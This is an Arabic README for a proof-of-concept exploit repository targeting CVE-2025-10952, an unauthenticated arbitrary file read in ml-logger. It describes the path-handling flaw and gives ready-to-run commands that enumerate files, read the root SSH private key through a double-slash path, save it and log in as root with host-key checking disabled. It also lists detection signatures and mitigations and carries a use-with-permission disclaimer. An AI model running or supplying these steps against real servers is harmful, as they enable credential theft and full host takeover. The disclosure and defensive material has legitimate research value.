
إثبات المفهوم (PoC) لـ CVE-2025-10952 — قراءة ملفات تعسفية غير مصادق عليها في ml-logger. درجة CVSS 5.3
stream_handler الخاص بـ ml-loggerيوفر هذا المستودع سكربت Python مستقل — CVE-2025-10952.py — يستغل ثغرة قراءة ملفات عشوائية غير مصادق عليها في stream_handler الخاص بـ ml-logger، مقترنة بنقطة النهاية /glob لتعداد نظام الملفات.
عند تشغيله ضد نسخة ml-logger معرضة للخطر، سيقوم السكربت بما يلي:
/glob (بدون مصادقة، بدون تقييد للمسار خارج النطاق المقصود)./stream عن طريق توفير معامل key مصمم بعناية يخرج عن منطق دمج المسار الأساسي للمعالج.نظرًا لأن stream_handler يمرر حقل key المقدم من العميل مباشرةً إلى استدعاء حل مسار الملف وبثّه دون أي فحص احتواء، يمكن لمهاجم شبكة غير مصادق عليه قراءة أي ملف يمكن الوصول إليه بواسطة مستخدم نظام التشغيل الذي تعمل به الخدمة.
ml_logger/server.py — stream_handler (معالج الملفات)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743 (مشروع بإصدارات متجددة؛ لم يُنشر إصدار مُصلَح وقت الإفصاح)يقبل stream_handler نص JSON يحتوي على حقل key ويمرره مباشرةً إلى استدعاء قراءة ملف دون أي تنقية للمسار. نقطة النهاية الشقيقة glob_handler تطبّق قيودًا جزئية على المسار (تمنع المسارات المطلقة والتنقل بين المجلدات)، لكن stream_handler لا يشاركها هذا التحقق — شرطة مائلة مزدوجة في بداية key (مثل //root/.ssh/id_rsa) كافية للخروج عن الدليل الأساسي المقصود.
ml-logger API معرضة للخطرgit clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
تعداد الملفات:
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
قراءة ملف عشوائي:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
قراءة وحفظ على القرص:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
القيمة الافتراضية لـ --port هي 8081، وهو المنفذ الافتراضي لواجهة برمجة تطبيقات وسيط الملفات في ml-logger في النشر القياسي. عادةً ما تُقدَّم واجهة لوحة التحكم الأمامية على منفذ منفصل ولا تشكل جزءًا من المسار المعرض للخطر.
/glob على الهدف تستجيب بـ 405 Method Not Allowed مع Allow: POST — وهذا يحدد منفذ API مقارنةً بواجهة لوحة التحكم الثابتة.--glob لرسم خريطة الملفات المهمة (مفاتيح SSH، ملفات الإعدادات، مخازن بيانات الاعتماد).--read، مع استخدام شرطة مائلة مزدوجة في البداية للمسارات المطلقة.key/path التي تحتوي على ..، أو شرطات مائلة مزدوجة في البداية (//)، أو بادئات مسارات مطلقة (/etc، /root، /proc) موجهة إلى منافذ خدمة ml-logger.~/.ssh/، /etc/shadow، /etc/passwd على عمليات القراءة القادمة من هوية عملية ml-logger.ml-logger أبدًا لشبكة غير موثوقة دون وجود وكيل عكسي للمصادقة أمامه.os.path.realpath() مقابل دليل أساسي مدرج في القائمة البيضاء) في stream_handler؛ وشغّل الخدمة تحت حساب نظام تشغيل مخصص وغير مميز.يحتوي هذا المستودع على استغلال إثبات مفهوم لثغرة CVE-2025-10952، وهي ثغرة كشف معلومات غير مصادق عليها في ml-logger. استخدم هذا الكود فقط في البيئات التي تملكها أو لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
انظر LICENSE.